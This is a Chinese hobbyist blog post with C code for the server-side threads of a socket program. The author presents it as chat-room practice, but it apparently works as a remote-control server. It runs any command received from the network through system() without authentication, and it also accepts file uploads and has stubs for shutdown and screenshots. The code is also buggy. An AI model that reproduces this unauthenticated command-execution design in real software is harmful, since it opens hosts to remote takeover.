天天看點

伺服器是如何接收查詢信号的,伺服器端的收發線程函數

練習寫套接字通信程式時候寫的一段代碼,本來想寫個聊天室但寫來寫去進度卡在界面上接節下來都是通信部分的代碼

因為隻是試驗用是以都是用C寫的,等界面部分完工後會用類來封裝一下

因為本人E文很爛是以變量和函數的命名是具有中國特色的,求了解.不過我注釋的很詳細了

謹以此文紀念我那坑爹的程式設計自學生涯......................

#include "shujubao.h"

#include "stdlib.h"

//定義線程共享全局變量用來協調線程進度

int M=0;    //指揮發送線程工作,為1則把fasjgd中的資料發送出去

struct SJGD fasjgd;  //資料發送完後把M置0

/

//接收線程函數

DWORD WINAPI JieXC (LPVOID jie)

{

SOCKET callsock=INVALID_SOCKET;

callsock=(SOCKET)jie;

char data[SZBAO];  //接收緩沖區

struct SJGD sjgd; //标準資料包存放管道

sjgd.sjcd=SZBAO;

struct SJB sjb; //封包結構體

HANDLE File;  //文本句柄

DWORD szfile;

/

while (1)

{

recv(callsock,data,SZBAO,0); //接收一個标準資料包錯誤資料包丢棄不處理

char_byte(data,&sjgd,1,SZBAO); //對緩沖區進行強制類型轉換不轉換的話解包會出錯

ZeroMemory(data,SZBAO);  //清零接收緩沖區

if(Jiebao(&sjgd,&sjb))  //如果是标準資料包的話就進行功能判斷和處理

{

switch(sjb.data.msg_stoc.cmd)

{

case CMD_GUANGJI:

//關機功能

break;

case CMD_CMD:

//指令行功能

system((char*)sjb.data.msg_stoc.shuju);

break;

case CMD_JIEPING:

//截屏功能

break;

//

case CMD_FTP:  //檔案傳輸功能

if(sjb.tou.sxid!=1) break;

//以FTP包順序标号為1的包的附加資料為檔案名建立檔案

//File=CreateFile((char*)sjb.data.msg_stoc.shuju,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

File=CreateFile("c:\\按鍵寶典.chm",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

//進入檔案接收循環

while(sjb.tou.sxid!=0)

{

recv(callsock,data,SZBAO,0); //接收一個标準資料包錯誤資料包丢棄不處理

char_byte(data,&sjgd,1,SZBAO); //對緩沖區進行強制類型轉換不轉換的話解包會出錯

if(Jiebao(&sjgd,&sjb))

{

WriteFile(File,(char*)sjb.data.msg_stoc.shuju,sjb.data.msg_stoc.sjbcd,&szfile,NULL);

}

}

CloseHandle(File);

char sz[]="檔案已經接收成功!";

MoveMemory(fasjgd.sjgd,sz,sizeof(sz));

fasjgd.sjcd=sizeof(sz);

Fengbao(1,CMD_QQ,1,&fasjgd,&sjb);    //給控制端發一個檔案接收成功消息資料包

Fabao(&sjb,&fasjgd);

M=1;

/

break;

//

}

}

}

/

return 0;

}

//

//

//發送線程函數

//工作流程是功能函數把各種資料包風包好後發送到fasjgd并把M置1,發送線程開始發包成功後把M置0

DWORD WINAPI FaXC (LPVOID fa)

{

SOCKET callsock=INVALID_SOCKET;

callsock=(SOCKET)fa;

while(1)

{

if(M==1)

{

send(callsock,(char*)fasjgd.sjgd,fasjgd.sjcd,0);

M=0;

}

}

return 0;

}

///